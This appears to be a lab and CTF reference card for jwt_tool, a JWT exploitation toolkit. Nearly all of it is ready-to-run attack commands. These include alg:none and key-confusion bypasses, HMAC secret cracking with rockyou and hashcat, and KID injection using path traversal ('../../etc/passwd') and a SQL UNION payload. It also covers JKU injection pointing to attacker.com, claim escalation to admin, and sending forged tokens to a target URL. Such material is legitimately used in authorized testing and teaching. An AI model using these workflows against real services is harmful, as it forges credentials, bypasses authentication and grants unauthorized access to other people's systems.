| name | jwt-tool |
| description | Auth/lab ref: broad JWT testing and exploitation toolkit. |
| license | GNU GPL v3 |
| compatibility | Linux / macOS / Windows; Python 3. |
| metadata | {"author":"AeonDave","version":"1.0"} |
jwt_tool
JWT testing suite — alg:none, algorithm confusion, KID injection, JKU/X5U, secret crack.
Quick Start
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt
TOKEN="eyJ..."
python3 jwt_tool.py $TOKEN
python3 jwt_tool.py $TOKEN -M pb
python3 jwt_tool.py $TOKEN -X a
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py $TOKEN -X k -pk public.pem
python3 jwt_tool.py $TOKEN -T
Core Flags
| Flag | Purpose |
|---|
TOKEN | JWT to analyze (positional) |
-M pb | Playbook mode — automated full audit |
-X <mode> | Exploit mode (see table) |
-C | Crack mode — brute force HMAC secret |
-d <file> | Wordlist for cracking |
-T | Interactive tamper mode |
-V | Verify signature |
-pk <file> | Private or public key file (.pem) |
-I | Injection mode (modify claims non-interactively) |
-hc <claim> | Header claim to modify |
-hv <value> | Header claim value |
-pc <claim> | Payload claim to modify |
-pv <value> | Payload claim value |
-S <alg> | Sign with algorithm: hs256 / rs256 / hs384 etc. |
-t <url> | Send forged token to target URL |
-rh <headers> | Request headers for -t |
-rc <cookies> | Request cookies for -t |
-cv <value> | Canary value — confirm exploitation success |
Exploit Modes (-X)
| Mode | Flag | Attack |
|---|
a | -X a | alg:none — remove signature requirement |
k | -X k -pk pub.pem | Key confusion — RS256→HS256 with public key as HMAC secret |
s | -X s -ju URL | JKU injection — point to attacker-controlled JWKS |
n | -X n | Null signature — empty signature field |
Common Attack Workflows
1. Automated Playbook (start here)
python3 jwt_tool.py $TOKEN -M pb
2. alg:none Bypass
python3 jwt_tool.py $TOKEN -X a
python3 jwt_tool.py $TOKEN -X a -I -pc role -pv admin
3. Algorithm Confusion (RS256 → HS256)
python3 jwt_tool.py $TOKEN -X k -pk public.pem
python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc admin -pv true
4. Secret Brute Force
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py $TOKEN -C -d ctf_secrets.txt
echo -n "$TOKEN" | hashcat -a 0 -m 16500 - wordlist.txt
5. KID Injection
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/passwd" -S hs256 -p "root:x:0:0:..."
python3 jwt_tool.py $TOKEN -I -hc kid -hv "none' UNION SELECT 'hacked'-- -" -S hs256 -p "hacked"
6. JKU / X5U Injection
python3 jwt_tool.py $TOKEN -X s -ju "https://attacker.com/.well-known/jwks.json"
7. Interactive Claim Tampering
python3 jwt_tool.py $TOKEN -T
python3 jwt_tool.py $TOKEN -I -pc sub -pv admin
python3 jwt_tool.py $TOKEN -I -pc role -pv superadmin
python3 jwt_tool.py $TOKEN -I -pc is_admin -pv true
8. Verify Signature
python3 jwt_tool.py $TOKEN -V -pk public.pem
Send Forged Token to Target
python3 jwt_tool.py $TOKEN -X a \
-t "https://target.com/api/admin" \
-rh "Authorization: Bearer TARGETJWT" \
-cv "admin panel"
Quick CTF Checklist
python3 jwt_tool.py $TOKEN -X a
python3 jwt_tool.py $TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
python3 jwt_tool.py $TOKEN -X k
python3 jwt_tool.py $TOKEN -T
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py $TOKEN -M pb
Resources
| File | When to load |
|---|
references/jwt-attacks.md | Algorithm confusion deep-dive, KID SQLi, JKU server setup, claim escalation patterns, CTF tricks |